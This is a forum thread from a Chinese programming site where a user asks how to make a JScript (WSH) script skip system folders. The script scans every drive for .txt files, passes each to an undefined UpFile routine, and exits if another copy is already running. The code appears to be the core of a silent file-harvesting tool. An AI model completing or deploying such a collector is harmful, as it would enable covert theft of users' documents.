开启辅助访问 切换到宽版

精易论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

用微信号发送消息登录论坛

新人指南 邀请好友注册 - 我关注人的新帖 教你赚取精币 - 每日签到


求职/招聘- 论坛接单- 开发者大厅

论坛版规 总版规 - 建议/投诉 - 应聘版主 - 精华帖总集 积分说明 - 禁言标准 - 有奖举报

查看: 3624|回复: 8
收起左侧

[js/PHP求助] 求各位大牛帮忙修改一段js代码

[复制链接]
结帖率:100% (2/2)
发表于 2016-12-17 20:08:27 | 显示全部楼层 |阅读模式   浙江省嘉兴市
下面的代码作用是:遍历所有硬盘驱动器>>遍历驱动器下的目录>>遍历目录里的txt文件
现在我想不搜索C盘下的某些目录如system、windows、tmp、temp,该如何修改代码?
  1. function GetDriveList() {
  2.         var fso = new ActiveXObject("Scripting.FileSystemObject");  //创建fso为一个FileSystemObject对象实例
  3.         var e = new Enumerator(fso.Drives); // 在驱动器上创建 Enumerator
  4.         var re = [];
  5.         for (; ! e.atEnd(); e.moveNext()) { // 枚举驱动器集合
  6.                 if (e.item().IsReady) { //检查驱动器是否可用
  7.                         re.push(e.item().DriveLetter)   
  8.                 }
  9.         }
  10.         return re
  11. }  //获得活动驱动器列表,名
  12. function GetFolderList(folderspec) {
  13.         var fso = new ActiveXObject("Scripting.FileSystemObject");
  14.         var f = fso.GetFolder(folderspec);  //遍历所有文件夹
  15.         var fc = new Enumerator(f.SubFolders);
  16.         var re = [];
  17.         for (; ! fc.atEnd(); fc.moveNext()) {
  18.                 re.push(fc.item())
  19.         }
  20.         return re
  21. }
  22. function GetFileList(folderspec) {
  23.         var fso = new ActiveXObject("Scripting.FileSystemObject");
  24.         var f = fso.GetFolder(folderspec);
  25.         var fc = new Enumerator(f.files);
  26.         var re = [];
  27.         for (; ! fc.atEnd(); fc.moveNext()) {
  28.                 re.push([fc.item(), fc.item().Name])
  29.         }
  30.         return re
  31. } //遍历所有文件
  32. function Search(Drive) {
  33.         var FolderList = GetFolderList(Drive);
  34.         for (var i = 0; i < FolderList.length; i++) {
  35.                 Search(FolderList[i])
  36.         }
  37.         var FileList = GetFileList(Drive);
  38.         for (var i = 0; i < FileList.length; i++) {
  39.                 if (/\.(txt)$/i.test(FileList[i])) {
  40.                         UpFile(FileList[i][0], FileList[i][1])
  41.                 }
  42.         }
  43. } //查找
  44. function Load() {
  45.         var WMIs = GetObject("winmgmts:\\\\.\\root\\cimv2");
  46.         var Items = WMIs.ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'wscript.exe'");
  47.         var i = 0,
  48.         rs = new Enumerator(Items);
  49.         for (; ! rs.atEnd(); rs.moveNext()) {
  50.                 i++
  51.         }
  52.         if (i > 1) WScript.Quit(0);
  53.         Items = WMIs = i = rs = null;
  54.         var DriveList = GetDriveList();
  55.         for (var i = 0; i < DriveList.length; i++) {
  56.                 Search(DriveList[i] + ":\\\")
  57.         }
  58. }
  59. Load();
复制代码




结帖率:100% (2/2)
 楼主| 发表于 2016-12-17 21:29:02 | 显示全部楼层   浙江省嘉兴市
麦乐学园 发表于 2016-12-17 21:13
https://segmentfault.com/
去这里发求助吧。俺这边没IE帮不了你。

感谢推荐,我去试试
回复 支持 反对

使用道具 举报

结帖率:100% (2/2)
发表于 2016-12-18 00:05:06 | 显示全部楼层   山东省青岛市
  1. function GetFileList(folderspec) {
  2.         var fso = new ActiveXObject("Scripting.FileSystemObject");
复制代码
  1.         var f = fso.GetFolder(folderspec);
  2.         var fc = new Enumerator(f.files);
  3.         var re = [];
  4.         for (; ! fc.atEnd(); fc.moveNext()) {
  5.                 re.push([fc.item(), fc.item().Name])
  6.         }
  7.         return re
  8. } //遍历所有文件
复制代码

之间加个判断
回复 支持 反对

使用道具 举报

结帖率:100% (2/2)
 楼主| 发表于 2016-12-24 10:21:10 | 显示全部楼层   浙江省嘉兴市
谢谢各位的解答,自己用vb实现了,结贴。
回复 支持 反对

使用道具 举报

结帖率:0% (0/4)
发表于 2017-9-1 17:21:15 | 显示全部楼层   江苏省南京市
求别人要像孙子一样,帮助你的人就得像个爷,不是大牛,是大哥大姐,或者就是大叔大婶。
回复 支持 反对

使用道具 举报

结帖率:0% (0/1)
发表于 2017-9-2 16:01:14 | 显示全部楼层   江苏省苏州市
看到楼上的回复很想笑
回复 支持 反对

使用道具 举报

结帖率:100% (2/2)
 楼主| 发表于 2017-9-2 16:42:47 | 显示全部楼层   浙江省杭州市
芝麻统帅 发表于 2017-9-1 17:21
求别人要像孙子一样,帮助你的人就得像个爷,不是大牛,是大哥大姐,或者就是大叔大婶。

然后?你想表达什么
回复 支持 反对

使用道具 举报

发表于 2017-9-12 19:47:20 | 显示全部楼层   山东省潍坊市
刚来,学习来的
回复 支持 反对

使用道具 举报

发表于 2017-12-4 16:12:20 | 显示全部楼层   山东省潍坊市
楼上的很搞笑,心态很重要啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则 致发广告者

发布主题 收藏帖子 返回列表

sitemap| 易语言源码| 易语言教程| 易语言论坛| 易语言模块| 手机版| 广告投放| 精易论坛
拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论,本站内容均为会员发表,并不代表精易立场!
论坛帖子内容仅用于技术交流学习和研究的目的,严禁用于非法目的,否则造成一切后果自负!如帖子内容侵害到你的权益,请联系我们!
防范网络诈骗,远离网络犯罪 违法和不良信息举报电话0663-3422125,QQ: 793400750,邮箱:wp@125.la
Powered by Discuz! X3.4 揭阳市揭东区精易科技有限公司 ( 粤ICP备12094385号-1) 粤公网安备 44522102000125 增值电信业务经营许可证 粤B2-20192173

快速回复 返回顶部 返回列表